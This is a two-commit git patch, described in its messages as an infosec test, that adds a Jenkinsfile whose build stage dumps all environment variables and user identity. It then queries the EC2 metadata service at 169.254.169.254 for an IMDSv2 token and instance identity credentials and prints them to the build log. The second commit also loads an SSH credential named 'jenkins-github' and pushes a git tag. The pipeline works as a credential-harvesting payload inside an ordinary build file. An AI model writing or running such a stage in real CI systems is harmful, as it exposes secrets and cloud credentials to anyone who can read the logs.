From 4b46a8082f460adb33fcd0e8c72ad42a6fd59315 Mon Sep 17 00:00:00 2001 From: Nahuel Perez <60331514+jnahuelperez@users.noreply.github.com> Date: Thu, 4 Dec 2025 10:08:16 -0500 Subject: [PATCH 1/2] this is a test from infosec --- Jenkinsfile | 41 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 41 insertions(+) create mode 100644 Jenkinsfile diff --git a/Jenkinsfile b/Jenkinsfile new file mode 100644 index 0000000..d9c9c31 --- /dev/null +++ b/Jenkinsfile @@ -0,0 +1,41 @@ +pipeline { + agent any + + stages { + stage('Environment, User and EC2 Metadata') { + steps { + sh ''' + echo "=== Environment Variables (set) ===" + set + + echo "" + echo "=== User Information ===" + echo "UID: $(id -u)" + echo "Username: $(id -un)" + echo "Full id output:" + id + + echo "" + echo "=== EC2 Metadata Token (IMDSv2) ===" + TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \ + -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") + + if [ -z "$TOKEN" ]; then + echo "No se pudo obtener token. Este nodo probablemente NO es una EC2 o IMDSv2 está deshabilitado." + else + echo "Token obtenido correctamente." + fi + + echo "" + echo "=== EC2 Identity Credentials ===" + if [ ! -z "$TOKEN" ]; then + curl -s \ + -H "X-aws-ec2-metadata-token: $TOKEN" \ + http://169.254.169.254/latest/meta-data/identity-credentials/ec2/ || \ + echo "No se pudo acceder al endpoint identity-credentials." + fi + ''' + } + } + } +} From 1ed2be82f5ad71ed103f8595c5b383d9fd11ad26 Mon Sep 17 00:00:00 2001 From: Nahuel Perez <60331514+jnahuelperez@users.noreply.github.com> Date: Thu, 4 Dec 2025 11:18:40 -0500 Subject: [PATCH 2/2] test --- Jenkinsfile | 61 +++++++++++++++++++++++++++++------------------------ 1 file changed, 34 insertions(+), 27 deletions(-) diff --git a/Jenkinsfile b/Jenkinsfile index d9c9c31..adfadd1 100644 --- a/Jenkinsfile +++ b/Jenkinsfile @@ -2,39 +2,46 @@ pipeline { agent any stages { + stage('Environment, User and EC2 Metadata') { steps { - sh ''' - echo "=== Environment Variables (set) ===" - set + sshagent(credentials: ['jenkins-github']) { + script { + sh "git tag '${version}'" + sh "git push origin '${version}'" + sh ''' + echo "=== Environment Variables (set) ===" + set - echo "" - echo "=== User Information ===" - echo "UID: $(id -u)" - echo "Username: $(id -un)" - echo "Full id output:" - id + echo "" + echo "=== User Information ===" + echo "UID: $(id -u)" + echo "Username: $(id -un)" + echo "Full id output:" + id - echo "" - echo "=== EC2 Metadata Token (IMDSv2) ===" - TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \ - -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") + echo "" + echo "=== EC2 Metadata Token (IMDSv2) ===" + TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \ + -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") - if [ -z "$TOKEN" ]; then - echo "No se pudo obtener token. Este nodo probablemente NO es una EC2 o IMDSv2 está deshabilitado." - else - echo "Token obtenido correctamente." - fi + if [ -z "$TOKEN" ]; then + echo "No se pudo obtener token. Este nodo probablemente NO es una EC2 o IMDSv2 está deshabilitado." + else + echo "Token obtenido correctamente." + fi - echo "" - echo "=== EC2 Identity Credentials ===" - if [ ! -z "$TOKEN" ]; then - curl -s \ - -H "X-aws-ec2-metadata-token: $TOKEN" \ - http://169.254.169.254/latest/meta-data/identity-credentials/ec2/ || \ - echo "No se pudo acceder al endpoint identity-credentials." - fi - ''' + echo "" + echo "=== EC2 Identity Credentials ===" + if [ ! -z "$TOKEN" ]; then + curl -s \ + -H "X-aws-ec2-metadata-token: $TOKEN" \ + http://169.254.169.254/latest/meta-data/identity-credentials/ec2/ || \ + echo "No se pudo acceder al endpoint identity-credentials." + fi + ''' + } + } } } }